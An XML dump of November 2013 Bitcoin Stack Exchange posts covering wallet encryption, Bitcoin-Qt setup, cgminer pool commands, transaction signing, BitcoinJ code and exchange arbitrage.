  <row Id="16757" PostTypeId="2" ParentId="16738" CreationDate="2013-11-16T15:29:09.700" Score="0" Body="&lt;p&gt;Yes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am more familiar with Coinbase.com, there you can buy/sell/send/request bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is set to the local currency of your country, and you will have a wallet automatically. The wallet address is found in the account settings/bitcoin addresses. The website automatically creates a bitcoin wallet address every 9 days. Don't worry about that, you can use any or the same bitcoin wallet address for forever, so it doesn't matter if the website keeps creating a new address, the address that you use to receive is reusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goodluck. If the site like you mentioned, coinjar.com is a bitcoin exchanger, yes, they do have a wallet system where you keep your bitcoin balance. The good thing about that is that you don't have to backup your wallet offline because the site backups wallet for you. Like in coinbase.com they backup everyone's wallet offline and update the balance everytime you make a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerDisplayName="user8746" LastActivityDate="2013-11-16T15:29:09.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16759" PostTypeId="2" ParentId="16750" CreationDate="2013-11-16T16:28:40.097" Score="1" Body="&lt;p&gt;It all depends on the security mechanisms of your operating system. On Ubuntu, packages are signed, and the installer checks the signature. So, a man in the middle, or a rogue mirror site could not have modified the copy of Electrum that I installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safety of your bitcoins on your machine does not depend only on your bitcoin applications. If the operating system itself is compromised, it can steal your bitcoins (using a keylogger to find the possible passwords) so pay attention to use a safe operating system, with security updates and so on.&lt;/p&gt;&#xA;" OwnerUserId="8827" LastActivityDate="2013-11-16T16:28:40.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16760" PostTypeId="2" ParentId="16751" CreationDate="2013-11-16T16:34:00.827" Score="3" Body="&lt;p&gt;No, because Bitcoin-Qt still has no way of knowing if you actually have those bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you had the same wallet on two separate computers one with the block chain fully downloaded and one with it only half downloaded. Now Imagine you have 10 bitcoins. On the wallet with the block chain fully downloaded you send all 10 coins to your friend. This computer now reflects that you have 0 bitcoins while the one with the half downloaded block chain still says you have 10. If Bitcoin-Qt allowed you to send those bitcoins, it would be opening the network up to double spending. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-16T16:34:00.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16763" PostTypeId="2" ParentId="13409" CreationDate="2013-11-16T19:08:53.780" Score="1" Body="&lt;p&gt;I use BitMinter and just plugged two (one at a time) block erupters into my laptop, once they were installed properly, I did a port scan in BitMinter and was up and running with no issues, only took but a minute or two.&lt;/p&gt;&#xA;" OwnerUserId="8838" LastActivityDate="2013-11-16T19:08:53.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16765" PostTypeId="1" AcceptedAnswerId="16767" CreationDate="2013-11-16T19:44:38.090" Score="1" ViewCount="1174" Body="&lt;p&gt;Electrum can encrypt the private keys in wallets with a user entered password. But what encryption algorithm is used? I'd hope it is reasonably strong crypto. I've looked at the Electrum docs and can't find specifics.&lt;/p&gt;&#xA;" OwnerUserId="7260" LastActivityDate="2013-11-16T21:25:34.877" Title="What encryption does Electrum use for private keys in wallets?" Tags="|wallet|encryption|electrum|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16766" PostTypeId="1" CreationDate="2013-11-16T20:12:51.747" Score="-4" ViewCount="318" Body="&lt;p&gt;I am very interested in this idea.  Fundamentally though, if these coins are simply used to buy more stuff (videogames, alpaca socks...), how does this help with buying necessities or help the poor for their basic goods? &lt;/p&gt;&#xA;" OwnerUserId="8840" LastEditorUserId="5406" LastEditDate="2013-11-25T10:36:19.620" LastActivityDate="2013-11-25T10:36:19.620" Title="Can bitcoin buy food?" Tags="|merchants|" AnswerCount="2" CommentCount="0" ClosedDate="2013-11-25T11:44:21.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="16767" PostTypeId="2" ParentId="16765" CreationDate="2013-11-16T21:25:34.877" Score="5" Body="&lt;p&gt;Electrum uses AES-256-CBC to encrypt wallets.  The key is sha256(sha256(&quot;your password&quot;)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum wallet source:&#xA;&lt;a href=&quot;https://github.com/spesmilo/electrum/blob/master/lib/wallet.py&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/spesmilo/electrum/blob/master/lib/wallet.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;slowaes library:&#xA;&lt;a href=&quot;https://code.google.com/p/slowaes/source/browse/trunk/python/aes.py&quot; rel=&quot;noreferrer&quot;&gt;https://code.google.com/p/slowaes/source/browse/trunk/python/aes.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-16T21:25:34.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16769" PostTypeId="1" CreationDate="2013-11-16T23:03:31.943" Score="20" ViewCount="47097" Body="&lt;p&gt;I have searched around, and nothing I find works for me.&#xA;Downloaded the approx. 10 GB Bootstrap.dat file. Now stuck on trying to link it with Bitcoin-QT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried the following command in the console box in the bitcoin-qt app:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcon-qt -loadblock=/path/to/bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried copying the file into the AppData/Roaming/Bitcoin file... Still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Windows 7, anyone have step by step instructions on how to set this up?&lt;/p&gt;&#xA;" OwnerUserId="8844" LastEditorUserId="132" LastEditDate="2013-12-10T12:15:09.297" LastActivityDate="2014-06-18T11:08:07.537" Title="How to use the &quot;Bootstrap.dat&quot; file with bitcoin-qt?" Tags="|bitcoin-core|bootstrap.dat|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16770" PostTypeId="2" ParentId="16766" CreationDate="2013-11-17T00:44:59.570" Score="1" Body="&lt;p&gt;Why couldn't they buy food?&#xA;It's up to the company if they are willing to take a alternate currency.&lt;br&gt;&#xA;The more people the have bitcoins, the more reason for places to start accepting this form of payment.&lt;/p&gt;&#xA;" OwnerUserId="8844" LastActivityDate="2013-11-17T00:44:59.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16771" PostTypeId="1" CreationDate="2013-11-17T01:40:06.477" Score="-1" ViewCount="4857" Body="&lt;p&gt;hello are this numbers are good or i need to do something on Pc's  i use this line with cgminer 2.11.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer -o http://api.bitcoin.cz:8332 -u user.work -p password -I 10 -v 1 --verbose -w 256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;img src=&quot;https://i.stack.imgur.com/0RhQV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8847" LastActivityDate="2014-04-16T09:22:03.583" Title="pool slush's pool numbers?" Tags="|mining-pools|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16772" PostTypeId="1" CreationDate="2013-11-17T03:38:25.470" Score="7" ViewCount="3486" Body="&lt;p&gt;I know there are many tools to check an ecdsa signature of a bitcoin transaction and I understand the ecdsa algorithm. It takes three inputs, a hash of the transaction, the digital signature and the public key of the sender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a raw transaction such as this one: &#xA;&lt;a href=&quot;http://blockexplorer.com/rawtx/9b4912711de5e258a74a529227f43647bc3b2304212fb508c5f8e910d5986270&quot;&gt;http://blockexplorer.com/rawtx/9b4912711de5e258a74a529227f43647bc3b2304212fb508c5f8e910d5986270&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the signature is the first line of the Scriptsig and the public key is the second and I assumed that the hash of the transaction is the first line on the page (also in the URL) but they don't validade and I've tried a handful of transactions from blockexplorer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what do I take as the first variable to validate a transaction in that form? &lt;/p&gt;&#xA;" OwnerUserId="8848" LastActivityDate="2015-10-11T04:35:18.813" Title="How to verify the signature of a raw transaction" Tags="|signature|blockexplorer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16773" PostTypeId="1" CreationDate="2013-11-17T04:19:49.387" Score="-1" ViewCount="167" Body="&lt;p&gt;If contracts are built into the code already, what is to stop someone from creating a transaction script that is very cpu intensive to verify, so that some computers accept the block with it and others do not?&lt;/p&gt;&#xA;" OwnerUserId="8851" LastActivityDate="2013-11-17T05:23:38.307" Title="Can someone create a very complex transaction to try to fork the network?" Tags="|transactions|script|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16774" PostTypeId="2" ParentId="16773" CreationDate="2013-11-17T05:23:38.307" Score="0" Body="&lt;p&gt;There are only a handful of types of scripts that are accepted.  The code must be modified to accept more types, which happens occasionally.  But you can't just write arbitrary scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't see how being CPU intensive would cause some computers to reject the block.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-17T05:23:38.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16775" PostTypeId="2" ParentId="16772" CreationDate="2013-11-17T05:32:45.607" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2177/how-to-calculate-a-hash-of-a-tx&quot;&gt;How to calculate a hash of a Tx?&lt;/a&gt; .  The hash that serves as the ID of the transaction is not the same hash that is used for signing.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-11-17T05:32:45.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16777" PostTypeId="1" CreationDate="2013-11-17T06:48:03.723" Score="0" ViewCount="1836" Body="&lt;p&gt;How can I buy Apple products? I want to buy the new iPad Mini, and I'd use Gyft to convert BTC to Amazon credit, but the new iPad is not yet on Amazon. Is there any way to buy the new iPad Mini, either directly through Apple or through a 3rd party?&lt;/p&gt;&#xA;" OwnerUserId="6193" LastEditorUserId="5406" LastEditDate="2013-11-19T09:18:34.870" LastActivityDate="2013-11-19T09:18:34.870" Title="How to buy Apple products with Bitcoin?" Tags="|merchants|" AnswerCount="2" CommentCount="1" ClosedDate="2013-11-22T08:43:11.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="16778" PostTypeId="2" ParentId="16771" CreationDate="2013-11-17T07:06:47.640" Score="0" Body="&lt;p&gt;For the amount of hashing power that you are putting out that's to be expected.  You should probably only be mining if you are using ASIC technology, not GPU's or CPU's.  There will be no profitability to mine using the hardware you have.  GPU's cost way too much in electricity to see any kind of return and with machines like KnC miners 550+/GHS Jupiters and Coin Terras 2/THS Terra miner IV you will be hard pressed to generate any BTC with the setup you have now.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-17T07:06:47.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16779" PostTypeId="1" AcceptedAnswerId="16782" CreationDate="2013-11-17T07:52:00.307" Score="0" ViewCount="1565" Body="&lt;p&gt;Referencing the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki&lt;/a&gt;, what is the auhoritative source for providing a hash of the previous block? Or do miners keep listening to latest blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is &lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_signature_scheme&quot; rel=&quot;nofollow&quot;&gt;hash of the Merkle root&lt;/a&gt; generated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a miner generate a block with no transactions? That means generating block by keeping hash Merkle root as all 0s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more question: &#xA;nonce size is only four bytes (32 bits). Given version, previousBlockHash, hashMerkleRoot, bits are constant, would it not be very easy to iterate through all possible nonces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2^32 = 4 G = 4&amp;nbsp;G hash machine can finish this task in one second.&lt;/p&gt;&#xA;" OwnerUserId="8855" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2016-03-31T16:16:47.297" LastActivityDate="2016-03-31T16:16:47.297" Title="Bitcoin block hashing algorithm. nonce" Tags="|mining-technical-details|nonce|block-header|merkle-tree|empty-blocks|" AnswerCount="1" CommentCount="1" ClosedDate="2016-03-31T16:17:52.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="16781" PostTypeId="1" CreationDate="2013-11-17T10:31:46.800" Score="-2" ViewCount="223" Body="&lt;p&gt;I have multiple USB sticks holding the same private key. All with multibit 0.5.9 on windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 wallet is showing 2 cents more than all the others when I sync them all with the blockchain. How can that be?&lt;/p&gt;&#xA;" OwnerUserId="8857" LastEditorUserId="3364" LastEditDate="2013-11-17T18:15:12.743" LastActivityDate="2013-11-17T21:17:27.863" Title="Balance difference between different wallets with the same key(s)?" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16782" PostTypeId="2" ParentId="16779" CreationDate="2013-11-17T10:54:56.580" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the auhoritative source for providing hash of previous block?&#xA;  or do miners keep listening to latest blocks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's no authoritative source, that's the whole point of Bitcoin. Miners keep listening for latest blocks, yes. They decide for themselves which block to accept. And since all miners (and clients) are programmed to accept only valid blocks (where its header hash is equal or below than the current target) they soon reach consensus upon which blocks are valid.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One more question: nonce size is only 4 bytes(32 bits). Given version,&#xA;  previousBlockHash, hashMerkleRoot, bits are constant, would not it be&#xA;  very easy to iterate through all possible nonces? 2^32 = 4 gigs = 4&#xA;  gig hash machine can finish this task in one second.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More often than not, just that 4 byte nonce is not enough randomness to find a block. Miners constantly add new transactions - therefore the &lt;code&gt;hashMerkleRoot&lt;/code&gt; isn't really constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think there's an &lt;code&gt;extranonce&lt;/code&gt; field which adds more space.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2013-11-17T12:00:48.200" LastActivityDate="2013-11-17T12:00:48.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16783" PostTypeId="1" CreationDate="2013-11-17T11:48:14.577" Score="1" ViewCount="199" Body="&lt;p&gt;Lately there have been quite a bit selling/buying rate differences between &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;different BTC exchanges&lt;/a&gt;. Now some of this can be explained by the fact that different exchanges operate based on different real world currencies and there is nothing to it, as the currency switches will diminish all or most differences between BTC rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since some of the exchanges base their operations on the same real world currency and yet still have noticeable difference between exchange rates, this opens up an interesting possibility for speculation. Note that I haven't done this on a big scale and do not recommend that anyone short on cash does any actual experimentation with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is a thought and the question. What prevents from X doing the following: first buy BTC from exchange A with real world currency M, then seconds after BTC has settled to X's wallet, he/she then proceeds to put BTCs on sale on echange B for the same real world currency BTC was bought with from exchange A; now assuming, for example, that exchange A's selling rate is N and B's buying rate is N+20USD, this sounds as real as any day trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I wonder is that is this really exploitable in money-making sense or do the delays with transactions or some other mechanisms prevent anyone benefiting from different exchange rates on different exchanges?&lt;/p&gt;&#xA;" OwnerDisplayName="user8859" LastActivityDate="2013-11-17T19:41:16.247" Title="Speculation on rate differences between different exchanges" Tags="|speculation|" AnswerCount="3" CommentCount="0" ClosedDate="2013-11-22T08:36:10.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="16784" PostTypeId="2" ParentId="16783" CreationDate="2013-11-17T12:17:41.690" Score="1" Body="&lt;p&gt;I think that time prevents people from exploiting your schema. It takes from few days to may be a month to withdraw money from mtgox. Delay from transactions sounds negligible in comparison to this.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-11-17T12:17:41.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16785" PostTypeId="2" ParentId="16783" CreationDate="2013-11-17T12:28:20.003" Score="0" Body="&lt;p&gt;This is called arbitrage. If it was easy everyone would do it and the differences would diminish. The reason the differences exist because on some exchanges you can't easily get money in or out.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-17T12:28:20.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16786" PostTypeId="1" CreationDate="2013-11-17T13:09:25.007" Score="1" ViewCount="245" Body="&lt;p&gt;I am running 0.8.5 beta on my mac under 10.8.3 and it runs fine until I try to use a bitcoin.conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a file, even if it is completely empty it will crash before the application even starts.  All I receive is a message &quot;Bitcoin-Qt quit unexpectedly.&quot;  The is no log even generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried redownloading the application and trashing all the files including the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the bitcoin.conf file the application launches and runs fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8861" LastEditorUserId="8861" LastEditDate="2013-11-17T13:52:53.953" LastActivityDate="2013-11-17T13:52:53.953" Title="bitcoin-qt crashes when any bitcoin.conf file is used" Tags="|mac|bitcoin.conf|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16789" PostTypeId="1" CreationDate="2013-11-17T15:32:15.743" Score="6" ViewCount="3744" Body="&lt;p&gt;Why would anyone &lt;strong&gt;buy&lt;/strong&gt; BTC using MtGox when the price is so much higher than other exchanges (e.g. CoinBase)?  And why would anyone &lt;strong&gt;sell&lt;/strong&gt; using MtGox if you have to wait an outrageous amount of time to withdraw the USD?  In other words why is MtGox getting any business at all?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-01-30T02:17:49.133" Title="Why does anyone use MtGox?" Tags="|exchanges|mtgox|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16791" PostTypeId="2" ParentId="16789" CreationDate="2013-11-17T16:28:11.923" Score="4" Body="&lt;p&gt;The sole and only reason to buy there, is because you already have fiat stuck there and you want to get it out ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About selling, if you are optimist you can say that some people value that the risk of Mt.Gox defaulting &lt;em&gt;plus&lt;/em&gt; the time they have to wait without their money is less than the price difference with the other exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are pessimist, you could say instead that they are simply stupid and do random things without really thinking about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, since there's no reason at all to send fiat there to buy BTC, yes, I agree it makes no sense for Mt.Gox to be still in business.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-11-17T16:28:11.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16794" PostTypeId="2" ParentId="16777" CreationDate="2013-11-17T17:30:26.380" Score="1" Body="&lt;p&gt;Disregarding anything clever (I am still pretty new to this), you can simply convert your Bitcoins to your local currency through a third party.  There will be a transaction fee (I imagine), but I doubt Apple is going to hop on the BTC wagon anytime soon and their business model, AFAIK, won't allow for the same lever of third-party integration as Amazon does.&lt;/p&gt;&#xA;" OwnerUserId="8869" LastActivityDate="2013-11-17T17:30:26.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16797" PostTypeId="2" ParentId="9850" CreationDate="2013-11-17T18:06:19.703" Score="0" Body="&lt;p&gt;I had the same issue on Win8 with Bitcoin Client v0.8.5-beta, and was able to solve it by turning off &quot;gen&quot;, but there was no bitcoin.conf file on my system and had to create it manually myself at the following location:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;D:\Users[user name]\AppData\Roaming\Bitcoin\bitcoin.conf&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Inside the file simply include:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gen=0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once you save it, restart the bitcoin client, and if you have the same experience I did, you will notice cpu go down to near 0, even during sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a list of bitcoin.conf locations on Mac and Linux refer to: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For a full list of all conf options refer to: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt; (under heading &quot;Sample Bitcoin.conf&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8871" LastActivityDate="2013-11-17T18:06:19.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16798" PostTypeId="1" CreationDate="2013-11-17T18:44:04.493" Score="3" ViewCount="1149" Body="&lt;p&gt;Syncing the client with the network can take some time. As I have to do this fairly often, it quite bothers me, especially when on slow devices. (A Pi can't do it in a week.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly what the client does when syncing. Does it verify the block hashes? Transaction hashes as well? If it does hashing, a miner should be able to speed it up. I noticed periodic CPU bursts of the client, so that's probably when the hashing is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I happen to have one of those little Block Erupter USB Miners. Is it possible to setup one of these to speed up syncing?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-04-25T15:47:32.193" LastActivityDate="2016-04-25T15:47:32.193" Title="Is it possible to speed up block chain syncing with a miner?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16801" PostTypeId="1" CreationDate="2013-11-17T19:20:22.247" Score="1" ViewCount="626" Body="&lt;p&gt;I'm trying to learn a few things about the API. &lt;strong&gt;I've managed to send coins&lt;/strong&gt; on testnet via wallet.sendCoins(Peergroup,Address,BigInteger) so I don't think I have a network problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm trying to do, assume my wallet has the transaction, a Peergroup already exists and is connected, and the blockstores and such exist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Transaction tin = wallet.getTransaction(&#xA;            new Sha256Hash(&quot;015a7cff7048b622315fe610e9e72347420a5528b938bffc931ddacf24b9ce88&quot;));&#xA;&#xA;    System.out.println(&quot;Input transaction: &quot; + tin.toString());&#xA;&#xA;    Transaction t = new Transaction(nwp);&#xA;&#xA;    t.addOutput(Utils.toNanoCoins(4, 10), new Address(nwp, &quot;mmhmMNfBiZZ37g1tgg2t8DDbNoEdqKVxAL&quot;));&#xA;    t.addOutput(Utils.toNanoCoins(4, 0), new Address(nwp, &quot;mrtUDRNFuwVPrKgwaGLuc3VvRCVYbayLkC&quot;));&#xA;&#xA;    t.addInput(tin.getOutput(0));&#xA;    p.broadcastTransaction(t);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the transaction is trying to spend a &lt;strong&gt;specific&lt;/strong&gt; previous transaction of 8.10 incoming by sending 4.10 back to the faucet and 4 back as change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it doesn't propagate on the network. What do I need to do? I've been trying to follow the code in Wallet.java, but it's pretty complicated. From what I can see it's some checks on the amounts, coin selection, and locks on the coins to be used. Attempts to sign the transaction cause a warning (already signed) and a crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know what the minimum necessary steps for creating and sending this transaction are?&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditDate="2013-11-17T22:02:30.407" LastActivityDate="2013-11-18T10:56:17.337" Title="BitCoinJ custom transaction" Tags="|transactions|api|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16802" PostTypeId="2" ParentId="16789" CreationDate="2013-11-17T19:23:25.797" Score="1" Body="&lt;p&gt;People use MtGox for liquidity and out of tradition. MtGox has a terrible web interface and has terrible performance under load. It is dangerous to use MtGox when the market has a sharp correction because you may have to wait minutes between clicks. The crash in April was due to MtGox lag under load. However, API users on MtGox have good performance even under load. MtGox is a good choice for API access because it offers liquidity without lag while web users end up making bad trades due to lag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox usually has higher BTC prices. The only exception I recall is when MtGox prices fell faster than other exchanges. The recent explanation is that higher MtGox prices reflect a higher cost of withdrawing USD; however, earlier this year other exchanges had greater difficulty with USD and MtGox prices were still higher then. Price differences don't matter as long a prices move by the same proportion across exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't trust MtGox since the April crash. I was happy to be using other exchanges in the recent BTC price corrections because I could trade instantly using a good web interface that shows price movement on the same page that orders are placed. I don't believe claims of DDoS attacks because it is clear that the interface design requires constant refreshes page switches to do basic trades. If I were an API user then I'd use MtGox again due to the greater liquidity.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-17T19:23:25.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16803" PostTypeId="1" AcceptedAnswerId="16818" CreationDate="2013-11-17T19:29:16.887" Score="-1" ViewCount="3932" Body="&lt;p&gt;I have started to test mining litecoin on amazon for the fun of it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;https://bitcointalk.org/index.php?topic=169377.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; to start going, so I use &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;cgminer&lt;/a&gt;. &#xA;every thing went pretty fine, just that I had to use cgminer 3.0.1 to aligned with the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I get very poor result - ~90Kh/s from both GPU. according to the post it should be ~190MH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there some configuration in order to unleash the power of the GPU ?&#xA;does cgminer have some configuration that were skiped in the link above ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8182/litecoin-mining-10-times-slower-then-a-couple-of-days-ago&quot;&gt;this&lt;/a&gt; but it's not relevant since I only install cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the command line from the link :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o http://pool:port -u user -p pass -I 11 -v 2 --shaders 448 --scrypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="8875" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-04-28T14:26:35.357" Title="Very poor cgminer result on EC2 GPU with litecoin" Tags="|litecoin|miner-configuration|hashpower|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16805" PostTypeId="2" ParentId="16783" CreationDate="2013-11-17T19:41:16.247" Score="0" Body="&lt;p&gt;&quot;Arbitrage&quot; has come to have several interpretations. Arbitrage was to notice a price movement on one exchange and then trade on a second exchange in anticipation of that movement. This doesn't require movement of funds between exchanges as many people in bitcoin circles now describe arbitrage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arbitrage with money movement tends to fail due to the time it takes to move money between exchanges. Many have tried it. The continuing prices differences between exchanges tells me that few have been successful.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-17T19:41:16.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16806" PostTypeId="1" AcceptedAnswerId="16808" CreationDate="2013-11-17T19:55:39.747" Score="0" ViewCount="135" Body="&lt;p&gt;Does anyone know of good resources to get started with working with bitcoin? Mostly involving transactions, eg: creating and storing wallets and moving coins from one wallet to another, etc. This will probably be server software like for a website. I'm new to this and would appreciate some direction. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8877" LastActivityDate="2013-11-17T20:14:54.630" Title="Getting started progmatically" Tags="|development|website-integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
